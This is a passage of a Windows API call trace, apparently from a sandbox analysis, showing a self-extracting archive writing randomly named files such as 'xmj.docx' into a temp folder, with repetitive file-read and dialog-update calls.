(in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.272] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.272] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.272] GetTickCount () returned 0x1fb00 [0068.272] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.272] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x220, lpOverlapped=0x0) returned 1 [0068.273] GetTickCount () returned 0x1fb00 [0068.273] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.273] SetFilePointer (in: hFile=0x1c, lDistanceToMove=866256, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd37d0 [0068.273] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.273] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.273] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.273] CloseHandle (hObject=0x138) returned 1 [0068.274] SetFileAttributesA (lpFileName="fbp.icm", dwFileAttributes=0x20) returned 1 [0068.274] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd37d0 [0068.275] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.275] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x26, lpOverlapped=0x0) returned 1 [0068.275] OemToCharA (in: pSrc="xmj.docx", pDst=0x179cc0 | out: pDst="xmj.docx") returned 1 [0068.275] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="xmj.docx", cchCount2=1) returned 1 [0068.275] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="xmj.docx", cchCount2=6) returned 1 [0068.275] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="xmj.docx", cchCount2=-1) returned 1 [0068.275] SetFilePointer (in: hFile=0x1c, lDistanceToMove=866301, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd37fd [0068.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="xmj.docx") returned 9 [0068.275] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x419ab8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.275] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting xmj.docx") returned 19 [0068.275] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting xmj.docx") returned 1 [0068.275] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.275] OemToCharBuffA (in: lpszSrc="x", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="x") returned 1 [0068.275] CharToOemBuffA (in: lpszSrc="X", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="X") returned 1 [0068.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="xmj.docx") returned 9 [0068.275] FindFirstFileW (in: lpFileName="xmj.docx", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.275] GetLastError () returned 0x2 [0068.275] GetFileAttributesA (lpFileName="xmj.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\xmj.docx")) returned 0xffffffff [0068.275] CreateFileA (lpFileName="xmj.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\xmj.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.276] GetFileType (hFile=0x138) returned 0x1 [0068.276] SetFilePointer (in: hFile=0x138, lDistanceToMove=523, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x20b [0068.276] SetEndOfFile (hFile=0x138) returned 1 [0068.276] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.276] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1ac, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1ac, lpOverlapped=0x0) returned 1 [0068.276] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.276] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.276] GetTickCount () returned 0x1fb00 [0068.276] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.276] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.276] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.276] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.276] GetTickCount () returned 0x1fb00 [0068.276] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.276] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.276] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.276] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.276] GetTickCount () returned 0x1fb00 [0068.276] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.276] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.276] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.276] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.276] GetTickCount () returned 0x1fb00 [0068.276] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.276] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.276] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.276] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.276] GetTickCount () returned 0x1fb00 [0068.276] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.276] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.277] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.277] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.277] GetTickCount () returned 0x1fb00 [0068.277] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.277] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.277] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.277] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.277] GetTickCount () returned 0x1fb00 [0068.277] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.277] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.277] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.277] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.277] GetTickCount () returned 0x1fb00 [0068.277] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.277] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.277] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.277] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.277] GetTickCount () returned 0x1fb00 [0068.277] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.277] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.277] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.277] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.277] GetTickCount () returned 0x1fb00 [0068.277] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.277] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.277] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.277] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.277] GetTickCount () returned 0x1fb00 [0068.277] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.277] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.277] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.277] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.277] GetTickCount () returned 0x1fb00 [0068.277] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.277] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.277] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.277] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.277] GetTickCount () returned 0x1fb00 [0068.277] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.277] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.277] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.277] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.277] GetTickCount () returned 0x1fb00 [0068.277] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.277] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.277] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.278] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.278] GetTickCount () returned 0x1fb00 [0068.278] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.278] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.278] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.278] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.278] GetTickCount () returned 0x1fb00 [0068.278] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.278] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.278] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.278] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.278] GetTickCount () returned 0x1fb00 [0068.278] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.278] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.278] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.278] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.278] GetTickCount () returned 0x1fb00 [0068.278] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.278] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.278] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.278] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.278] GetTickCount () returned 0x1fb00 [0068.278] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.278] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.278] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.278] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.278] GetTickCount () returned 0x1fb00 [0068.278] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.278] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.278] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.278] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.278] GetTickCount () returned 0x1fb00 [0068.278] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.278] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.278] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.278] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.278] GetTickCount () returned 0x1fb00 [0068.278] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.278] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.278] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.278] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.279] GetTickCount () returned 0x1fb00 [0068.279] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.279] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.279] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.279] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.279] GetTickCount () returned 0x1fb00 [0068.279] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.279] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.279] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.279] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.279] GetTickCount () returned 0x1fb00 [0068.279] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.279] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.279] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.279] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.279] GetTickCount () returned 0x1fb00 [0068.279] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.279] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.279] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.279] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.279] GetTickCount () returned 0x1fb00 [0068.279] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.279] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.279] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.279] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.279] GetTickCount () returned 0x1fb00 [0068.279] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, 